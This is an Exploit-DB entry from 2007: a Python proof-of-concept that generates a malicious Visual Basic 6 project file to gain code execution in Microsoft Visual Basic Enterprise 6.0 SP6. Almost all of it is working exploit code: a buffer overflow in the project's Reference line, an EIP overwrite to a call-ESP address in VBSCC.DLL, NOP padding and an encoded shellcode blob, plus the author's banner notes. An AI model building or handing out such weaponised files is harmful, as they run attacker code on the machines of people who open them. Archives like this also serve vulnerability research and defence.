Exploit-DB #4431
Description: Microsoft Visual Basic Enterprise 6.0 SP6 - Code Execution
Type: local
Platform: windows
Date: 2007-09-19
Author: shinnai

Exploit:
#usage: vbexploit.py FileName.vbp

import sys

print "--------------------------------------------------------------------------"
print " [PoC_2] Microsoft Visual Basic Enterprise Edition 6.0 SP6 Code Execution "
print " author: shinnai"
print " mail: shinnai[at]autistici[dot]org"
print " site: http://shinnai.altervista.org\n"
print " based on Koshi exploit"
print " http://www.milw0rm.com/exploits/4361\n"
print " I try his exploit on Windows XP Pro SP2 Ita, full patched and it doesn't"
print " work, but he said:\n"
print ' "# ...backwards..if you don' + "'t" + ' know why, then gtfo."\n'
print " ok, now I know why brotha, I got this exception:\n"
print ' "Access violation when writing to [63636363]"\n'
print " so I search another way to get exploit working but I need to do some"
print ' changes to memory address ("00" became "20") and nop ("90" became "3F").'
print " Well, here it is a PoC_2 and if it doesn't work and" + ' "you don' + "'t know why,"
print ' then"' + "... feel free to ask ;)\n"
print " dedicated to all Italian vb6 programmers... be safe bros"
print "--------------------------------------------------------------------------"

buff = "A" * 494

EIP = "\x37\x17\x8B\x60"; #call ESP from VBSCC.DLL esp, you can (or must) change as you like

buff2 = "A" * 12

RW_Memory = "\x20\x20\x01\x20" #patched writeable memory address "\x00\x00\x01\x00"

nop = "\x3F\x3F\x3F\x3F" #patched nop "\x90"

shellcode = \
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"+\
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"+\
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"+\
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"+\
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"+\
"\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x47"+\
"\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x48\x4f\x54\x4a\x41\x4b\x38"+\
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48"+\
"\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"+\
"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"+\
"\x46\x4f\x4b\x43\x46\x35\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x58"+\
"\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x44"+\
"\x4b\x48\x4f\x35\x4e\x41\x41\x30\x4b\x4e\x4b\x38\x4e\x51\x4b\x38"+\
"\x41\x50\x4b\x4e\x49\x38\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"+\
"\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x47"+\
"\x4e\x30\x4b\x38\x42\x34\x4e\x50\x4b\x58\x42\x47\x4e\x41\x4d\x4a"+\
"\x4b\x58\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x42\x48\x42\x4b"+\
"\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x55\x41\x33"+\
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37"+\
"\x42\x55\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x35\x4a\x36\x4a\x59"+\
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56"+\
"\x4e\x46\x43\x56\x50\x32\x45\x46\x4a\x37\x45\x36\x42\x50\x5a"

try:
    vb_proj = \
        'Type=Exe\n'+\
        'Reference=*\G{[PII_REDACTED]-C[PII_REDACTED]00046}#2.0#0#..\..\..\WINDOWS'+\
	'\system32\stdole2.tlb#OLE Automation' + buff + EIP + buff2 + RW_Memory + nop + shellcode + nop +\
        '\nStartup="Sub Main"\n'+\
        'Command32=""\n'+\
        'Name=' + sys.argv[1]+\
        '\nHelpContextID="0"\n'+\
        'CompatibleMode="0"\n'+\
        'MajorVer=1\n'+\
        'MinorVer=0\n'+\
        'RevisionVer=0\n'+\
        'AutoIncrementVer=0\n'+\
        'ServerSupportFiles=0\n'+\
        'VersionCompanyName="xxx"\n'+\
        'CompilationType=0\n'+\
        'OptimizationType=0\n'+\
        'FavorPentiumPro(tm)=0\n'+\
        'CodeViewDebugInfo=0\n'+\
        'NoAliasing=0\n'+\
        'BoundsCheck=0\n'+\
        'OverflowCheck=0\n'+\
        'FlPointCheck=0\n'+\
        'FDIVCheck=0\n'+\
        'UnroundedFP=0\n'+\
        'StartMode=0\n'+\
        'Unattended=0\n'+\
        'Retained=0\n'+\
        'ThreadPerObject=0\n'+\
        'MaxNumberOfThreads=1\n\n'+\
        '[MS Transaction Server]\n'+\
        'AutoRefresh=1'
    
    out_file = open(sys.argv[1],'w')
    out_file.write(vb_proj)
    out_file.close()
    print "\nFILE CREATION COMPLETED!\n"
except:
    print " \n -------------------------------------"
    print "  Usage: exploit.py FileName.vbp"
    print " -------------------------------------"
    print "\nAN ERROR OCCURS DURING FILE CREATION!"

# milw0rm.com [2007-09-19]